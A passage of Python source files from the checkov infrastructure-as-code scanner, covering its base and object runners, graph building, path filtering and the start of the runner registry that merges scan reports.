resource_code_filter = ResourceCodeFilter(allow_code_logging=allow_code_logging) logger.addFilter(resource_code_filter) ================================================ FILE: checkov/common/runners/__init__.py ================================================ ================================================ FILE: checkov/common/runners/base_post_runner.py ================================================ from __future__ import annotations from abc import ABC, abstractmethod from typing import TYPE_CHECKING from checkov.common.checks.base_check import BaseCheck from checkov.common.util.tqdm_utils import ProgressBar from checkov.common.output.report import Report from checkov.policies_3d.checks_infra.base_check import Base3dPolicyCheck from checkov.runner_filter import RunnerFilter if TYPE_CHECKING: from checkov.common.graph.graph_manager import GraphManager # noqa class BasePostRunner(ABC): check_type = '' # noqa: CCE003 # a static attribute def __init__(self) -> None: self.pbar = ProgressBar(self.check_type) @abstractmethod def run( self, checks: list[BaseCheck | Base3dPolicyCheck], scan_reports: list[Report], runner_filter: RunnerFilter | None = None ) -> Report: raise NotImplementedError() ================================================ FILE: checkov/common/runners/base_runner.py ================================================ from __future__ import annotations import itertools import logging import os import re from abc import ABC, abstractmethod from collections.abc import Iterable from typing import List, Any, TYPE_CHECKING, TypeVar, Generic, Dict, Optional from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.util.data_structures_utils import pickle_deepcopy from checkov.common.util.tqdm_utils import ProgressBar from checkov.common.graph.checks_infra.base_check import BaseGraphCheck from checkov.common.output.report import Report from checkov.runner_filter import RunnerFilter from checkov.common.graph.graph_manager import GraphManager # noqa if TYPE_CHECKING: from checkov.common.checks_infra.registry import Registry from checkov.common.graph.checks_infra.registry import BaseRegistry from checkov.common.typing import _CheckResult, LibraryGraphConnector, LibraryGraph _Context = TypeVar("_Context", bound="dict[Any, Any]|None") _Definitions = TypeVar("_Definitions", bound="dict[Any, Any]|None") _GraphManager = TypeVar("_GraphManager", bound="GraphManager[Any, Any]|None") def strtobool(val: str) -> int: """Convert a string representation of truth to true (1) or false (0). True values are 'y', 'yes', 't', 'true', 'on', and '1'; false values are 'n', 'no', 'f', 'false', 'off', and '0'. Raises ValueError if 'val' is anything else. """ val = val.lower() if val in ('y', 'yes', 't', 'true', 'on', '1'): return 1 elif val in ('n', 'no', 'f', 'false', 'off', '0'): return 0 else: raise ValueError("invalid boolean value %r for environment variable CKV_IGNORE_HIDDEN_DIRECTORIES" % (val,)) IGNORED_DIRECTORIES_ENV = os.getenv("CKV_IGNORED_DIRECTORIES", "node_modules,.terraform,.serverless") IGNORE_HIDDEN_DIRECTORY_ENV = strtobool(os.getenv("CKV_IGNORE_HIDDEN_DIRECTORIES", "True")) ignored_directories = IGNORED_DIRECTORIES_ENV.split(",") class BaseRunner(ABC, Generic[_Definitions, _Context, _GraphManager]): check_type = "" definitions: _Definitions | None = None raw_definitions: dict[str, list[tuple[int, str]]] | None = None context: _Context | None = None breadcrumbs = None external_registries: list[BaseRegistry] | None = None graph_manager: _GraphManager | None = None graph_registry: Registry | None = None db_connector: LibraryGraphConnector resource_subgraph_map: Optional[dict[str, str]] = None def __init__(self, file_extensions: Iterable[str] | None = None, file_names: Iterable[str] | None = None): self.file_extensions = file_extensions or [] self.file_names = file_names or [] self.pbar = ProgressBar(self.check_type) db_connector_class: "type[NetworkxConnector | RustworkxConnector]" = NetworkxConnector graph_framework = os.getenv("CHECKOV_GRAPH_FRAMEWORK", "RUSTWORKX") if graph_framework == "RUSTWORKX": from checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector db_connector_class = RustworkxConnector self.db_connector = db_connector_class() @abstractmethod def run( self, root_folder: str | None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True, ) -> Report | list[Report]: pass def should_scan_file(self, filename: str) -> bool: # runners that are always applicable can do nothing and be included if not self.file_extensions and not self.file_names: return True basename = os.path.basename(filename) if basename and self.file_names and basename in self.file_names: return True extension = os.path.splitext(filename)[1] if extension and self.file_extensions and extension in self.file_extensions: return True return False def included_paths(self) -> Iterable[str]: return [] def set_external_data( self, definitions: _Definitions | None, context: _Context | None, breadcrumbs: dict[str, dict[str, Any]] | None, **kwargs: Any, ) -> None: self.definitions = definitions self.context = context self.breadcrumbs = breadcrumbs def set_raw_definitions(self, definitions_raw: dict[str, list[tuple[int, str]]] | None) -> None: self.definitions_raw = definitions_raw def populate_metadata_dict(self) -> None: return None def load_external_checks(self, external_checks_dir: List[str]) -> None: return None def get_graph_checks_report(self, root_folder: str, runner_filter: RunnerFilter) -> Report: return Report(check_type="not_defined") def run_graph_checks_results(self, runner_filter: RunnerFilter, report_type: str, graph: LibraryGraph | None = None ) -> dict[BaseGraphCheck, list[_CheckResult]]: checks_results: "dict[BaseGraphCheck, list[_CheckResult]]" = {} if graph is None and (not self.graph_manager or not self.graph_registry): # should not happen logging.warning("Graph components were not initialized") return checks_results if graph is None and isinstance(self.graph_manager, GraphManager): graph = self.graph_manager.get_reader_endpoint() for r in itertools.chain(self.external_registries or [], [self.graph_registry]): r.load_checks() # type:ignore[union-attr] registry_results = r.run_checks(graph, runner_filter, report_type) # type:ignore[union-attr] checks_results = {**checks_results, **registry_results} # Filtering the checks now filtered_result: Dict[BaseGraphCheck, List[_CheckResult]] = {} for check, results in checks_results.items(): filtered_result[check] = [result for result in results if runner_filter.should_run_check( check, check_id=check.id, file_origin_paths=[result.get("entity", {}).get(CustomAttributes.FILE_PATH, "")], report_type=self.check_type )] self._update_check_correct_connected_node(filtered_result) return filtered_result @staticmethod def _extract_relevant_resource_types(check_connected_resource_types: list[tuple[str]], connected_nodes_per_resource_types: dict[tuple[str], Any]) ->\ tuple[str] | None: return next((resource_types for resource_types in check_connected_resource_types if resource_types in connected_nodes_per_resource_types), None) @staticmethod def _get_connected_resources_types_with_subchecks(check: BaseGraphCheck) -> list[tuple[str]]: resource_types_tuples: list[tuple[str]] = [] for sub_check in check.sub_checks: resource_types_tuples.append(tuple(sub_check.connected_resources_types)) # type: ignore resource_types_tuples.extend( BaseRunner._get_connected_resources_types_with_subchecks(sub_check)) # Recursive call return resource_types_tuples @staticmethod def _update_check_correct_connected_node(filtered_result: dict[BaseGraphCheck, list[_CheckResult]]) -> None: """ Responsible for choosing the correct connected node per check (if exists), as every graph check may refer to a different connection that a resource might have. Before: connected_node could be a dict[tuple[resource_types], attributes]. After: connected_node == attributes (of relevant connected node) """ for check, results in filtered_result.items(): for result in results: result["entity"] = pickle_deepcopy(result["entity"]) # Important to avoid changes between checks connected_node = result.get("entity", {}).get(CustomAttributes.CONNECTED_NODE) if connected_node is None: continue check_connected_resource_types = BaseRunner._get_connected_resources_types_with_subchecks(check) check_relevant_connected_resource_types = BaseRunner._extract_relevant_resource_types( check_connected_resource_types, connected_node) if check_relevant_connected_resource_types and \ check_relevant_connected_resource_types in connected_node: result["entity"][CustomAttributes.CONNECTED_NODE] = \ connected_node[check_relevant_connected_resource_types] else: result["entity"][CustomAttributes.CONNECTED_NODE] = None def filter_ignored_paths( root_dir: str, names: list[str] | list[os.DirEntry[str]], excluded_paths: list[str] | None, included_paths: Iterable[str] | None = None ) -> None: # we need to handle legacy logic, where directories to skip could be specified using the env var (default value above) # or a directory starting with '.'; these look only at directory basenames, not relative paths. # # But then any other excluded paths (specified via --skip-path or via the platform repo settings) should look at # the path name relative to the root folder. These can be files or directories. # Example: take the following dir tree: # . # ./dir1 # ./dir1/dir33 # ./dir1/.terraform # ./dir2 # ./dir2/dir33 # /.dir2/hello.yaml # # if excluded_paths = ['dir1/dir33', 'dir2/hello.yaml'], then we would scan dir1, but we would skip its subdirectories. We would scan # dir2 and its subdirectory, but we'd skip hello.yaml. # first handle the legacy logic - this will also remove files starting with '.' but that's probably fine # mostly this will just remove those problematic directories hardcoded above. included_paths = included_paths or [] for entry in list(names): cur_path: str = str(entry.name) if isinstance(entry, os.DirEntry) else str(entry) if cur_path in ignored_directories: safe_remove(names, entry) if cur_path.startswith(".") and IGNORE_HIDDEN_DIRECTORY_ENV and cur_path not in included_paths: safe_remove(names, entry) # now apply the new logic # TODO this is not going to work well on Windows, because paths specified in the platform will use /, and # paths specified via the CLI argument will presumably use \\ if excluded_paths: compiled = [] for p in excluded_paths: try: compiled.append(re.compile(re.escape(p) if re.match(r'^\.[^\.]', p) else p)) except re.error: # do not add compiled paths that aren't regexes continue for entry in list(names): path: str = str(entry.name) if isinstance(entry, os.DirEntry) else str(entry) full_path = os.path.join(root_dir, path) if any(pattern.search(full_path) for pattern in compiled) or any(p in full_path for p in excluded_paths): safe_remove(names, entry) def safe_remove(names: list[Any], path: Any) -> None: if path in names: names.remove(path) ================================================ FILE: checkov/common/runners/graph_builder/__init__.py ================================================ ================================================ FILE: checkov/common/runners/graph_builder/local_graph.py ================================================ from __future__ import annotations import logging from abc import abstractmethod from pathlib import Path from typing import Any from checkov.common.graph.graph_builder import Edge from checkov.common.graph.graph_builder.graph_components.blocks import Block from checkov.common.graph.graph_builder.local_graph import LocalGraph class ObjectLocalGraph(LocalGraph[Block]): def __init__(self, definitions: dict[str | Path, dict[str, Any] | list[dict[str, Any]]]) -> None: super().__init__() self.vertices: list[Block] = [] self.definitions = definitions self.vertices_by_path_and_name: dict[tuple[str, str], int] = {} def build_graph(self, render_variables: bool = False) -> None: self._create_vertices() logging.debug(f"[{self.__class__.__name__}] created {len(self.vertices)} vertices") for i, vertex in enumerate(self.vertices): self.vertices_by_block_type[vertex.block_type].append(i) self.vertices_block_name_map[vertex.block_type][vertex.name].append(i) self.vertices_by_path_and_name[(vertex.path, vertex.name)] = i self.in_edges[i] = [] self.out_edges[i] = [] self._create_edges() logging.debug(f"[{self.__class__.__name__}] created {len(self.edges)} edges") @abstractmethod def _create_vertices(self) -> None: pass @abstractmethod def _create_edges(self) -> None: pass def _create_edge(self, origin_vertex_index: int, dest_vertex_index: int, label: str = "default") -> None: if origin_vertex_index == dest_vertex_index: # this should not happen return edge = Edge(origin_vertex_index, dest_vertex_index, label) self.edges.append(edge) self.out_edges[origin_vertex_index].append(edge) self.in_edges[dest_vertex_index].append(edge) @staticmethod @abstractmethod def get_files_definitions(root_folder: str | Path) -> dict[str | Path, dict[str, Any] | list[dict[str, Any]]]: """This is temporary till I have a better idea""" pass ================================================ FILE: checkov/common/runners/graph_manager.py ================================================ from __future__ import annotations from pathlib import Path from typing import TYPE_CHECKING, Any, Optional from checkov.common.runners.graph_builder.local_graph import ObjectLocalGraph from checkov.common.graph.graph_manager import GraphManager if TYPE_CHECKING: from checkov.common.typing import LibraryGraphConnector from checkov.common.graph.graph_builder.graph_components.blocks import Block # noqa class ObjectGraphManager(GraphManager[ObjectLocalGraph, "dict[str | Path, dict[str, Any] | list[dict[str, Any]]]"]): def __init__(self, db_connector: LibraryGraphConnector, source: str) -> None: super().__init__(db_connector=db_connector, parser=None, source=source) def build_graph_from_source_directory( self, source_dir: str, local_graph_class: type[ObjectLocalGraph] = ObjectLocalGraph, render_variables: bool = True, parsing_errors: Optional[dict[str, Exception]] = None, download_external_modules: Optional[bool] = False, excluded_paths: Optional[list[str]] = None, **kwargs: Any, ) -> tuple[ObjectLocalGraph, dict[str | Path, dict[str, Any] | list[dict[str, Any]]]]: definitions = local_graph_class.get_files_definitions(root_folder=source_dir) local_graph = self.build_graph_from_definitions(definitions=definitions, graph_class=local_graph_class) return local_graph, definitions def build_graph_from_definitions( self, definitions: dict[str | Path, dict[str, Any] | list[dict[str, Any]]], render_variables: bool = False, graph_class: type[ObjectLocalGraph] = ObjectLocalGraph, ) -> ObjectLocalGraph: local_graph = graph_class(definitions) local_graph.build_graph(render_variables) return local_graph ================================================ FILE: checkov/common/runners/object_runner.py ================================================ from __future__ import annotations import logging import os import platform from abc import abstractmethod from collections.abc import Iterable from pathlib import Path from typing import Any, TYPE_CHECKING, Callable, TypedDict from typing_extensions import TypeAlias # noqa[TC002] from checkov.common.checks_infra.registry import get_graph_checks_registry from checkov.common.models.enums import CheckResult from checkov.common.typing import LibraryGraphConnector from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.output.github_actions_record import GithubActionsRecord from checkov.common.output.record import Record from checkov.common.output.report import Report, CheckType from checkov.common.parallelizer.parallel_runner import parallel_runner from checkov.common.runners.base_runner import BaseRunner, filter_ignored_paths from checkov.common.runners.graph_manager import ObjectGraphManager from checkov.common.typing import _CheckResult from checkov.common.util.consts import START_LINE, END_LINE from checkov.runner_filter import RunnerFilter from checkov.common.util.suppression import collect_suppressions_for_context if TYPE_CHECKING: from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.common.graph.checks_infra.base_check import BaseGraphCheck from checkov.common.runners.graph_builder.local_graph import ObjectLocalGraph _ObjectContext: TypeAlias = "dict[str, dict[str, Any]]" _ObjectDefinitions: TypeAlias = "dict[str, dict[str, Any] | list[dict[str, Any]]]" class GhaMetadata(TypedDict): triggers: set[str] workflow_name: str jobs: dict[int, str] class Runner(BaseRunner[_ObjectDefinitions, _ObjectContext, ObjectGraphManager]): def __init__( self, db_connector: LibraryGraphConnector | None = None, source: str | None = None, graph_class: type[ObjectLocalGraph] | None = None, graph_manager: ObjectGraphManager | None = None, ) -> None: super().__init__() self.definitions: _ObjectDefinitions = {} self.definitions_raw: dict[str, list[tuple[int, str]]] = {} self.context: _ObjectContext | None = None self.map_file_path_to_gha_metadata_dict: dict[str, GhaMetadata] = {} self.root_folder: str | None = None if source and graph_class: # if they are not all set, then ignore it db_connector = db_connector or self.db_connector self.source = source self.graph_class = graph_class self.graph_manager = ( graph_manager if graph_manager else ObjectGraphManager(source=self.source, db_connector=db_connector) ) self.graph_registry = get_graph_checks_registry(self.check_type) def _load_files( self, files_to_load: list[str], filename_fn: Callable[[str], str] | None = None, ) -> None: files_to_load = [filename_fn(file) if filename_fn else file for file in files_to_load] results = parallel_runner.run_function(lambda f: (f, self._parse_file(f)), files_to_load) for file_result_pair in results: if file_result_pair is None: # this only happens, when an uncaught exception occurs continue file, result = file_result_pair if result: (self.definitions[file], self.definitions_raw[file]) = result definition = result[0] if self.check_type == CheckType.GITHUB_ACTIONS and isinstance(definition, dict): workflow_name = definition.get('name', '') triggers = self._get_triggers(definition) jobs = self._get_jobs(definition) self.map_file_path_to_gha_metadata_dict[file] = \ {"triggers": triggers, "workflow_name": workflow_name, "jobs": jobs} @staticmethod @abstractmethod def _parse_file(f: str) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None: raise Exception("parser should be imported by deriving class") def run( self, root_folder: str | None = None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True, ) -> Report | list[Report]: runner_filter = runner_filter or RunnerFilter() if not runner_filter.show_progress_bar: self.pbar.turn_off_progress_bar() registry = self.import_registry() report = Report(self.check_type) if not files and not root_folder: logging.debug("No resources to scan.") return report if not external_checks_dir and self.require_external_checks(): logging.debug("The runner requires that external checks are defined.") return report if external_checks_dir: for directory in external_checks_dir: registry.load_external_checks(directory) if self.graph_registry: self.graph_registry.load_external_checks(directory) if root_folder: self.root_folder = root_folder if not self.context or not self.definitions: if files: self._load_files(files) if root_folder: for root, d_names, f_names in os.walk(root_folder): filter_ignored_paths(root, d_names, runner_filter.excluded_paths, self.included_paths()) filter_ignored_paths(root, f_names, runner_filter.excluded_paths, self.included_paths()) files_to_load = [os.path.join(root, f_name) for f_name in f_names] self._load_files(files_to_load=files_to_load) self.context = self.build_definitions_context(definitions=self.definitions, definitions_raw=self.definitions_raw) if self.graph_registry and self.graph_manager: logging.info(f"Creating {self.source} graph") local_graph = self.graph_manager.build_graph_from_definitions( definitions=self.definitions, graph_class=self.graph_class # type:ignore[arg-type] # the paths are just `str` ) logging.info(f"Successfully created {self.source} graph") self.graph_manager.save_graph(local_graph) else: logging.info("Going to use existing graph") self.populate_metadata_dict() self.pbar.initiate(len(self.definitions)) # run Python checks self.add_python_check_results(report=report, registry=registry, runner_filter=runner_filter, root_folder=root_folder) # run graph checks if self.graph_registry: self.add_graph_check_results(report=report, runner_filter=runner_filter) return report def add_python_check_results( self, report: Report, registry: BaseCheckRegistry, runner_filter: RunnerFilter, root_folder: str | Path | None ) -> None: """Adds Python check results to given report""" for file_path in self.definitions.keys(): self.pbar.set_additional_data({'Current File Scanned': os.path.relpath(file_path, root_folder)}) skipped_checks = collect_suppressions_for_context(self.definitions_raw[file_path]) if registry.report_type == CheckType.GITLAB_CI: registry.definitions_raw = self.definitions_raw[file_path] results = registry.scan(file_path, self.definitions[file_path], skipped_checks, runner_filter) # type:ignore[arg-type] # this is overridden in the subclass for key, result in results.items(): result_config = result["results_configuration"] start = 0 end = 0 check = result.pop("check", None) # use pop to remove Check class which is not serializable from if check is None: continue # result record if result_config: end, start = self.get_start_end_lines(end, result_config, start) if start == -1 and end == -1: logging.info(f"Skipping line in file path {file_path} in key {key}") continue if platform.system() == "Windows": root_folder = os.path.split(file_path)[0] if self.check_type == CheckType.GITHUB_ACTIONS: record: "Record" = GithubActionsRecord( check_id=check.id, bc_check_id=check.bc_id, check_name=check.name, check_result=result, code_block=self.definitions_raw[file_path][start - 1:end + 1], file_path=f"/{os.path.relpath(file_path, root_folder)}", file_line_range=[start, end + 1], resource=self.get_resource(file_path, key, check.supported_entities, start, end), # type:ignore[arg-type] # key is str not BaseCheck evaluations=None, check_class=check.__class__.__module__, file_abs_path=os.path.abspath(file_path), entity_tags=None, severity=check.severity, job=self.map_file_path_to_gha_metadata_dict[file_path]["jobs"].get(end, ''), triggers=self.map_file_path_to_gha_metadata_dict[file_path]["triggers"], workflow_name=self.map_file_path_to_gha_metadata_dict[file_path]["workflow_name"] ) else: record = Record( check_id=check.id, bc_check_id=check.bc_id, check_name=check.name, check_result=result, code_block=self.definitions_raw[file_path][start - 1:end + 1], file_path=f"/{os.path.relpath(file_path, root_folder)}", file_line_range=[start, end + 1], resource=self.get_resource(file_path, key, check.supported_entities, start, end), # type:ignore[arg-type] # key is str not BaseCheck evaluations=None, check_class=check.__class__.__module__, file_abs_path=os.path.abspath(file_path), entity_tags=None, severity=check.severity, ) report.add_record(record) self.pbar.update() self.pbar.close() def add_graph_check_results(self, report: Report, runner_filter: RunnerFilter) -> None: """Adds graph check results to given report""" root_folder = self.root_folder graph_checks_results = self.run_graph_checks_results(runner_filter, self.check_type) for check, check_results in graph_checks_results.items(): for check_result in check_results: entity = check_result["entity"] entity_file_path: str = entity[CustomAttributes.FILE_PATH] if platform.system() == "Windows": root_folder = os.path.split(entity_file_path)[0] clean_check_result: _CheckResult = { "result": check_result["result"], "evaluated_keys": check_result["evaluated_keys"], } start_line = entity[START_LINE] end_line = entity[END_LINE] code_block = self.get_code_block(entity=entity) self.add_inline_suppression(check=check, entity=entity, check_result=clean_check_result) if self.check_type == CheckType.GITHUB_ACTIONS: if entity.get(CustomAttributes.BLOCK_NAME) == 'permissions' and start_line == 0 and end_line == 0: # reconstruct permissions start-end lines since we do not have that information during graph build for line in self.definitions_raw[entity_file_path]: if line and 'permissions' in line[1]: start_line = line[0] end_line = line[0] break entity[CustomAttributes.ID] = self.get_resource(entity_file_path, entity[CustomAttributes.ID], entity[CustomAttributes.RESOURCE_TYPE], start_line, end_line, graph_resource=True) record: "Record" = GithubActionsRecord( check_id=check.id, bc_check_id=check.bc_id, check_name=check.name, check_result=clean_check_result, code_block=code_block, file_path=f"/{os.path.relpath(entity_file_path, root_folder)}", file_line_range=[start_line, end_line + 1], resource=entity[CustomAttributes.ID], evaluations=None, check_class=check.__class__.__module__, file_abs_path=os.path.abspath(entity_file_path), entity_tags=None, severity=check.severity, job=self.map_file_path_to_gha_metadata_dict[entity_file_path]["jobs"].get(end_line, ''), triggers=self.map_file_path_to_gha_metadata_dict[entity_file_path]["triggers"], workflow_name=self.map_file_path_to_gha_metadata_dict[entity_file_path]["workflow_name"] ) else: record = Record( check_id=check.id, bc_check_id=check.bc_id, check_name=check.name, check_result=clean_check_result, code_block=code_block, file_path=f"/{os.path.relpath(entity_file_path, root_folder)}", file_line_range=[start_line, end_line + 1], resource=entity[CustomAttributes.ID], evaluations=None, check_class=check.__class__.__module__, file_abs_path=os.path.abspath(entity_file_path), entity_tags=None, severity=check.severity, ) record.set_guideline(check.guideline) report.add_record(record=record) def get_resource(self, file_path: str, key: str, supported_entities: Iterable[str], start_line: int = -1, end_line: int = -1, graph_resource: bool = False) -> str: return f"{file_path}.{key}" @abstractmethod def get_start_end_lines(self, end: int, result_config: dict[str, Any], start: int) -> tuple[int, int]: raise Exception("should be handled by derived class") @abstractmethod def import_registry(self) -> BaseCheckRegistry: raise Exception("registry should be imported by deriving class") def require_external_checks(self) -> bool: return True @staticmethod def _change_files_path_to_relative(report: Report) -> None: for record in report.get_all_records(): record.file_path = record.file_path.replace(os.getcwd(), "") record.resource = record.resource.replace(os.getcwd(), "") def build_definitions_context( self, definitions: dict[str, dict[str, Any] | list[dict[str, Any]]], definitions_raw: dict[str, list[tuple[int, str]]], ) -> dict[str, dict[str, Any]]: # if needed, should be overridden in the actual runner class return {} def get_code_block(self, entity: dict[str, Any]) -> list[tuple[int, str]]: """Returns the code block either from context or definitions_raw""" code_block: list[tuple[int, str]] = [] entity_file_path = entity[CustomAttributes.FILE_PATH] if self.context: # not all runners have the 'context' attribute populated entity_id = entity[CustomAttributes.ID] entity_context = self.context[entity_file_path].get(entity_id) if entity_context: code_block = entity_context.get("code_lines") else: logging.info(f"Could not find context for resource {entity_id} in file {entity_file_path}") if not code_block: # fallback, if context extraction failed start_line = entity[START_LINE] end_line = entity[END_LINE] code_block = self.definitions_raw[entity_file_path][start_line - 1:end_line + 1] return code_block def add_inline_suppression(self, check: BaseGraphCheck, entity: dict[str, Any], check_result: _CheckResult) -> None: """Adjusts check result, if inline suppressed""" if self.context: # not all runners have the 'context' attribute populated entity_file_path = entity[CustomAttributes.FILE_PATH] entity_id = entity[CustomAttributes.ID] entity_context = self.context[entity_file_path].get(entity_id) if entity_context: skipped_check = next( ( skipped_check for skipped_check in entity_context.get("skipped_checks", []) if skipped_check["id"] in (check.id, check.bc_id) ), None, ) if skipped_check: check_result["result"] = CheckResult.SKIPPED check_result["suppress_comment"] = skipped_check.get("suppress_comment", "") def _get_triggers(self, definition: dict[str, Any]) -> set[str]: triggers_set = set() triggers = definition.get("on") try: if isinstance(triggers, str): triggers_set.add(triggers) elif isinstance(triggers, dict): triggers_set = {key for key in triggers.keys() if key != START_LINE and key != END_LINE} except Exception as e: logging.info(f"failed to parse workflow triggers due to:{str(e)}") return triggers_set def _get_jobs(self, definition: dict[str, Any]) -> dict[int, str]: end_line_to_job_name_dict: dict[int, str] = {} jobs = definition.get('jobs') if jobs: for job_name, job_instance in jobs.items(): if not isinstance(job_instance, dict): continue if job_name != START_LINE and job_name != END_LINE: end_line: int = job_instance.get(END_LINE, -1) end_line_to_job_name_dict[end_line] = job_name steps: list[dict[str, Any]] = [step for step in job_instance.get('steps', []) or [] if step] if not steps: continue for step in steps: if not isinstance(step, dict) or END_LINE not in step: continue end_line_to_job_name_dict[step.get(END_LINE)] = job_name # type: ignore[index] # return end_line_to_job_name_dict ================================================ FILE: checkov/common/runners/runner_registry.py ================================================ from __future__ import annotations import argparse import itertools import json import logging import os import re import platform import sys import time from collections import defaultdict from collections.abc import Iterable from io import StringIO from pathlib import Path from typing import List, Dict, Any, Optional, cast, TYPE_CHECKING, Type, Literal from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.code_categories import CodeCategoryMapping, CodeCategoryType from checkov.common.bridgecrew.platform_integration import bc_integration from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import \ integration as metadata_integration from checkov.common.bridgecrew.integration_features.features.repo_config_integration import \ integration as repo_config_integration from checkov.common.bridgecrew.integration_features.features.licensing_integration import \ integration as licensing_integration from checkov.common.bridgecrew.integration_features.integration_feature_registry import integration_feature_registry from checkov.common.bridgecrew.platform_errors import ModuleNotEnabledError from checkov.common.bridgecrew.severities import Severities from checkov.common.images.image_referencer import ImageReferencer from checkov.common.logger_streams import logger_streams from checkov.common.models.enums import ErrorStatus, ParallelizationType from checkov.common.output.csv import CSVSBOM from checkov.common.output.cyclonedx import CycloneDX from checkov.common.output.gitlab_sast import GitLabSast from checkov.common.output.report import Report, merge_reports from checkov.common.output.sarif import Sarif from checkov.common.output.spdx import SPDX from checkov.common.parallelizer.parallel_runner import parallel_runner from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.common.sast.consts import CDKLanguages from checkov.common.typing import _ExitCodeThresholds, _BaseRunner, _ScaExitCodeThresholds, LibraryGraph from checkov.common.util import data_structures_utils from checkov.common.util.banner import default_tool as tool_name from checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR, S3_UPLOAD_DETAILS_MESSAGE from checkov.common.util.data_structures_utils import pickle_deepcopy from checkov.common.util.json_utils import CustomJSONEncoder from checkov.common.util.secrets_omitter import SecretsOmitter from checkov.common.util.type_forcers import convert_csv_string_arg_to_list, force_list from checkov.logging_init import log_stream, erase_log_stream from checkov.sca_image.runner import Runner as image_runner from checkov.common.secrets.consts import SECRET_VALIDATION_STATUSES from checkov.terraform.context_parsers.registry import parser_registry from checkov.terraform.tf_parser import TFParser if TYPE_CHECKING: from checkov.common.output.baseline import Baseline from checkov.common.runners.base_runner import BaseRunner # noqa from checkov.runner_filter import RunnerFilter CONSOLE_OUTPUT = "console" CHECK_BLOCK_TYPES = frozenset(["resource", "data", "provider", "module"]) CYCLONEDX_OUTPUTS = ("cyclonedx", "cyclonedx_json") OUTPUT_CHOICES = [ "cli", "csv", "cyclonedx", "cyclonedx_json", "json", "junitxml", "github_failed_only", "gitlab_sast", "sarif", "spdx", ] SUMMARY_POSITIONS = frozenset(['top', 'bottom']) OUTPUT_DELIMITER = "\n--- OUTPUT DELIMITER ---\n" class RunnerRegistry: def __init__( self, banner: str, runner_filter: RunnerFilter, *runners: _BaseRunner, tool: str = tool_name, secrets_omitter_class: Type[SecretsOmitter] = SecretsOmitter, ) -> None: self.logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(self.logger) self.runner_filter = runner_filter self.runners = list(runners) self.banner = banner self.sca_supported_ir_report: Optional[Report] = None self.scan_reports: list[Report] = [] self.image_referencing_runners = self._get_image_referencing_runners() self.filter_runner_framework() self.tool = tool self._check_type_to_report_map: dict[str, Report] = {} # used for finding reports with the same check type self.licensing_integration = licensing_integration # can be manipulated by unit tests self.secrets_omitter_class = secrets_omitter_class self.check_type_to_graph: dict[str, list[tuple[LibraryGraph, Optional[str]]]] = {} self.check_type_to_resource_subgraph_map: dict[str, dict[str, str]] = {} for runner in runners: if isinstance(runner, image_runner): runner.image_referencers = self.image_referencing_runners def run( self, root_folder: Optional[str] = None, external_checks_dir: Optional[List[str]] = None, files: Optional[List[str]] = None, collect_skip_comments: bool = True, repo_root_for_plan_enrichment: list[str | Path] | None = None, ) -> list[Report]: if not self.runners: logging.error('There are no runners to run. This can happen if you specify a file type and a framework that are not compatible ' '(e.g., `--file xyz.yaml --framework terraform`), or if you specify a framework with missing dependencies (e.g., ' 'helm or kustomize, which require those tools to be on your system). Running with LOG_LEVEL=DEBUG may provide more information.') return [] elif len(self.runners) == 1: runner_check_type = self.runners[0].check_type if self.licensing_integration.is_runner_valid(runner_check_type): reports: Iterable[Report | list[Report]] = [ self.runners[0].run(root_folder, external_checks_dir=external_checks_dir, files=files, runner_filter=self.runner_filter, collect_skip_comments=collect_skip_comments)] else: # This is the only runner, so raise a clear indication of failure raise ModuleNotEnabledError(f'The framework "{runner_check_type}" is part of the "{self.licensing_integration.get_subscription_for_runner(runner_check_type).name}" module, which is not enabled in the platform', unsupported_frameworks=[runner_check_type]) else: valid_runners = [] invalid_runners = [] platform_integration_data = None if parallel_runner.type == ParallelizationType.SPAWN: platform_integration_data = bc_integration.generate_instance_data() for runner in self.runners: if self.licensing_integration.is_runner_valid(runner.check_type): valid_runners.append( (runner, root_folder, external_checks_dir, files, self.runner_filter, collect_skip_comments, platform_integration_data) ) else: invalid_runners.append(runner) # if all runners are disabled (most likely to occur if the user specified --framework for only disabled runners) # then raise a clear error # if some frameworks are disabled and the user used --framework, log a warning so they see it # if some frameworks are disabled and the user did not use --framework, then log at a lower level so that we have it for troubleshooting if not valid_runners: check_types = [runner.check_type for runner in self.runners] runners_categories = os.linesep.join([f'{runner.check_type}: {self.licensing_integration.get_subscription_for_runner(runner.check_type).name}' for runner in invalid_runners]) error_message = f'All the frameworks are disabled because they are not enabled in the platform. ' \ f'You must subscribe to one or more of the categories below to get results for these frameworks.{os.linesep}{runners_categories}' raise ModuleNotEnabledError(error_message, unsupported_frameworks=check_types) elif invalid_runners: for runner in invalid_runners: level = logging.INFO if runner.check_type in self.runner_filter.framework_flag_values: level = logging.WARNING logging.log(level, f'The framework "{runner.check_type}" is part of the "{self.licensing_integration.get_subscription_for_runner(runner.check_type).name}" module, which is not enabled in the platform') valid_runners = self._merge_runners(valid_runners) parallel_runner_results = parallel_runner.run_function( func=_parallel_run, items=valid_runners, group_size=1, ) reports = [] full_check_type_to_graph = {} full_check_type_to_resource_subgraph_map = {} for result in parallel_runner_results: if result is not None: report, check_type, graphs, resource_subgraph_map, subprocess_log_stream = result reports.append(report) if subprocess_log_stream is not None: # only sub processes need to add their logs streams, # the logs of all others methods already exists in the main stream if parallel_runner.running_as_process(): logger_streams.add_stream(f'{check_type or time.time()}', subprocess_log_stream) if check_type is not None: if graphs is not None: full_check_type_to_graph[check_type] = graphs if resource_subgraph_map is not None: full_check_type_to_resource_subgraph_map[check_type] = resource_subgraph_map self.check_type_to_graph = full_check_type_to_graph self.check_type_to_resource_subgraph_map = full_check_type_to_resource_subgraph_map merged_reports = self._merge_reports(reports) if bc_integration.bc_api_key: self.secrets_omitter_class(merged_reports).omit() post_scan_reports = 